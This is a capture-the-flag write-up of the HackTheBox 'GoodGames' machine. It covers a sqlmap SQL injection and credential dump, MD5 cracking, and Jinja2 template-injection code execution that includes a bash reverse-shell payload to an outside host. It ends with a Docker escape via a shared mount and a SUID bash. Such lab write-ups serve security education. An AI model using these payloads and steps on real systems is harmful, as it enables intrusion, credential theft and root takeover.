HackTheBox - GoodGames

Updated 29-03-2026

A Linux machine where weak database security and an internal admin panel lead to a foothold, with a creative Docker escape to reach the host as root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ip=10.129.6.87; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 14:22 -0400
Nmap scan report for 10.129.6.87
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds

One port open: 80/tcp running a Python Werkzeug application.


Foothold

Hosts File

The site footer reveals the domain goodgames.htb:

1
$ echo '10.129.6.87 goodgames.htb' | sudo tee -a /etc/hosts

SQL Injection on the Login Form

The site is a gaming blog with user registration and login. Directory and subdomain enumeration with ffuf returns nothing useful. However, sqlmap identifies the login form’s email parameter as injectable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sqlmap --url 'http://goodgames.htb/login' --data 'email=1&password=2' --batch

<--SNIP-->
[15:06:46] [INFO] target URL appears to be UNION injectable with 4 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[15:07:04] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 149 HTTP(s) requests:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=1' AND (SELECT 2708 FROM (SELECT(SLEEP(5)))UYQq) AND 'sACi'='sACi&password=2
---
[15:07:22] [INFO] the back-end DBMS is MySQL
[15:07:22] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[15:07:25] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/goodgames.htb'

[*] ending @ 15:07:25 /2026-03-10/

Enumerate available databases:

1
2
3
4
5
6
7
8
9
10
11
$ sqlmap --url 'http://goodgames.htb/login' --data 'email=1&password=2' --dbs --time-sec=1 --threads=10

<--SNIP-->

available databases [2]:
[*] information_schema
[*] main

[15:13:49] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/goodgames.htb'

[*] ending @ 15:13:49 /2026-03-10/

Enumerate tables in main:

1
2
3
4
5
6
7
8
9
10
11
$ sqlmap --url 'http://goodgames.htb/login' --data 'email=1&password=2' -D main --tables --time-sec=1 --threads=10

<--SNIP-->

Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+

Enumerate columns in user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap --url 'http://goodgames.htb/login' --data 'email=1&password=2' -D main -T user --columns --time-sec=1 --threads=10

<--SNIP-->

Database: main
Table: user
[4 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| name | varchar(255) |
| email | varchar(255) |
| id | int |
| password | varchar(255) |
+----------+--------------+

Dump credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sqlmap --url 'http://goodgames.htb/login' --data 'email=1&password=2' -D main -T user --columns name,email,password --dump --time-sec=1 --threads=10

<--SNIP-->

Database: main
Table: user
[2 entries]
+----+---------------------+--------+----------------------------------+
| id | email | name | password |
+----+---------------------+--------+----------------------------------+
| 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2 | keep@alive.sh | ka | 202cb962ac59075b964b07152d234b70 |
+----+---------------------+--------+----------------------------------+

Hash Cracking

The password hashes are MD5. Crack the admin hash with Hashcat:

1
2
3
4
5
$ hashcat -m 0 -a 0 2b22337f218b2d82dfc3b6f77e7cb8ec /usr/share/wordlists/rockyou.txt

<--SNIP-->

2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

Internal Admin Panel — SSTI

Logging in as admin:superadministrator reveals a cog icon that redirects to internal-administration.goodgames.htb. Add the subdomain to /etc/hosts:

1
$ echo '10.129.6.87 internal-administration.goodgames.htb' | sudo tee -a /etc/hosts

The same credentials work here too. The subdomain hosts a Flask admin dashboard. The profile settings page allows changing the display name — a classic SSTI test point for Jinja2.

Setting the name to {{1+1}} renders as 2, confirming SSTI. Using the Vulhub SSTI PoC to verify RCE:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

The name field renders uid=0(root) gid=0(root) groups=0(root), confirming we’re executing as root inside the application.

Reverse Shell

Start a listener:

1
$ nc -lnvp 1234

Inject the reverse shell payload into the name field:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("bash -c \\"bash -i >& /dev/tcp/10.10.16.27/1234 0>&1\\"").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

A shell connects. The user flag is accessible from here.


Privilege Escalation

Docker Escape via Shared Mount and SUID

The presence of /.dockerenv confirms we’re inside a Docker container:

1
2
root@3a453ab39d3d:/# ls /.dockerenv -la
-rwxr-xr-x 1 root root 0 Nov 5 2021 /.dockerenv

Inspecting mounted filesystems reveals that the host’s /dev/sda1 is mounted read-write into the container at /home/augustus:

1
2
3
4
5
6
root@3a453ab39d3d:/backend# mount | grep -E "(ext4|ext3|xfs|overlay)"
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/BMOEKLXDA4EFIXZ4O4AP7LYEVQ:/var/lib/docker/overlay2/l/E365MWZN2IXKTIAKIBBWWUOADT:/var/lib/docker/overlay2/l/ZN44ERHF3TPZW7GPHTZDOBQAD5:/var/lib/docker/overlay2/l/BMI22QFRJIUAWSWNAECLQ35DQS:/var/lib/docker/overlay2/l/6KXJS2GP5OWZY2WMA64DMEN37D:/var/lib/docker/overlay2/l/FE6JM56VMBUSHKLHKZN4M7BBF7:/var/lib/docker/overlay2/l/MSWSF5XCNMHEUPP5YFFRZSUOOO:/var/lib/docker/overlay2/l/3VLCE4GRHDQSBFCRABM7ZL2II6:/var/lib/docker/overlay2/l/G4RUINBGG77H7HZT5VA3U3QNM3:/var/lib/docker/overlay2/l/3UIIMRKYCPEGS4LCPXEJLYRETY:/var/lib/docker/overlay2/l/U54SKFNVA3CXQLYRADDSJ7NRPN:/var/lib/docker/overlay2/l/UIMFGMQODUTR2562B2YJIOUNHL:/var/lib/docker/overlay2/l/HEPVGMWCYIV7JX7KCI6WZ4QYV5,upperdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/diff,workdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/work)
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)

This means anything written to /home/augustus inside the container is reflected on the real host filesystem. The container’s IP is 172.19.0.2, so the host gateway is likely 172.19.0.1. A quick ping confirms it:

1
2
3
4
5
6
7
root@3a453ab39d3d:/backend# ping 172.19.0.1 -c 1
PING 172.19.0.1 (172.19.0.1) 56(84) bytes of data.
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.216 ms

--- 172.19.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.216/0.216/0.216/0.000 ms

A port scan from inside the container confirms SSH is open on the host:

1
2
3
root@3a453ab39d3d:/backend# for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open

Attempting a direct SSH connection fails because the shell has no usable TTY. Using script as a workaround allocates a pseudo-terminal and allows the password prompt to appear:

1
2
root@3a453ab39d3d:/backend# script -q -c "ssh augustus@172.19.0.1" /dev/null
augustus@172.19.0.1's password: superadministrator

The password is reused from the admin account. Now logged in as augustus on the host, copy the bash binary to the shared home directory:

1
2
augustus@GoodGames:~$ cp /bin/bash sexybash
augustus@GoodGames:~$ exit

Back in the container shell, we run as root — so we can set the SUID bit and change ownership of the copied binary. Because /home/augustus is a shared mount, these changes are immediately reflected on the host:

1
2
root@3a453ab39d3d:/home/augustus# chmod 4777 sexybash
root@3a453ab39d3d:/home/augustus# chown root:root sexybash

SSH back into the host as augustus and execute the SUID bash with -p to preserve the elevated privileges:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@3a453ab39d3d:/home/augustus# script -q -c "ssh augustus@172.19.0.1" /dev/null
augustus@172.19.0.1's password: superadministrator

Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 10 21:33:29 2026 from 172.19.0.2
augustus@GoodGames:~$ ./sexybash -p
sexybash-5.1#

The root flag is at /root/root.txt.